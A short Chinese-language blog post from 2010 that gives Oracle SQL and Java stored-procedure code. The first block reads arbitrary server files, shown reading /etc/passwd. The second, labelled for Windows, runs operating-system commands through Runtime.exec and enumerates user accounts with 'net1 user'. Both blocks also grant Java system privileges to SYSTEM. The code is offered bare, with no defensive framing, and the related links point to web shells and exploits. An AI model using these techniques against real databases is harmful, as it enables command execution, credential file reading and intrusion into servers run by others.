shnulaa

Never deter till tomorrow that which you can do today

posts - 15, comments - 0, trackbacks - 0, articles - 2

BlogJava :: 首页 :: 新随笔 :: 联系 :: 聚合

:: 管理

oracle read file context

Posted on 2010-09-28 15:53 shnulaa 阅读(204) 评论(0) 编辑收藏所属分类: java

--code
2

set serveroutput on
3

Create or REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE"
4

AS
5

import java.lang.*;
6

import java.io.*;
7

public class JAVAREADFILE
8

{
9

public static void readfile(String filename) throws IOException
10

{
11

FileReader f = new FileReader(filename);
12

BufferedReader fr = new BufferedReader(f);
13

String text = fr.readLine();
14

while(text != null)
15

{
16

System.out.println(text);
17

text = fr.readLine();
18

}
19

fr.close();
20

}
21

}
22

/
23

Create or REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2)
24

AS LANGUAGE JAVA
25

NAME 'JAVAREADFILE.readfile(java.lang.String)';
26

/
27

exec dbms_java.set_output(5000);
28

grant javasyspriv to system;
29

grant javauserpriv to system;
30

exec JAVAREADFILEPROC('/etc/passwd')
31

--code
32

for windows

--code
2

create or replace and compile
3

java souRCe named "util"
4

as
5

import java.io.*;
6

import java.lang.*;
7

public class util extends Object
8

{
9

public static int RunThis(String args)
10

{
11

Runtime rt = Runtime.getRuntime();
12

int RC = -1;
13

try
14

{
15

Process p = rt.exec(args);
16

int bufSize = 4096;
17

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
18

int len;
19

byte buffer[] = new byte[bufSize];
20

// Echo back what the program spit out
21

while ((len = bis.read(buffer
22

, 0, bufSize)) != -1)
23

System.out.write(buffer, 0, len);
24

RC = p.waitFor();
25

}
26

catch (Exception e)
27

{
28

e.printStackTrace();
29

RC = -1;
30

}
31

finally
32

{
33

return RC;
34

}
35

}
36

}
37

/
38

create or replace
39

function RUN_CMz(p_cmd in varchar2) return number
40

as
41

language java
42

name 'util.RunThis(java.lang.String) return integer';
43

/
44

create or replace procedure RC(p_cmd in varChar)
45

as
46

x number;
47

begin
48

x := RUN_CMz(p_cmd);
49

end;
50

/
51

variable x number;
52

set serveroutput on;
53

exec dbms_java.set_output(100000);
54

grant javasyspriv to system;
55

grant javauserpriv to system;
56

exec :x:=run_cmz('net1 user');
57

--code

新用户注册刷新评论列表


只有注册用户登录后才能发表评论。




网站导航: 博客园 IT新闻 Chat2DB C++博客博问管理
相关文章: 关于持续集成的问题 jsp web shell cmd5 oracle read file context Blind Cmd or bash jboss oday test thread test

shnulaa

oracle read file context

日历

公告

常用链接

留言簿

随笔分类

随笔档案

文章档案

sd

搜索

积分与排名

最新评论

阅读排行榜

评论排行榜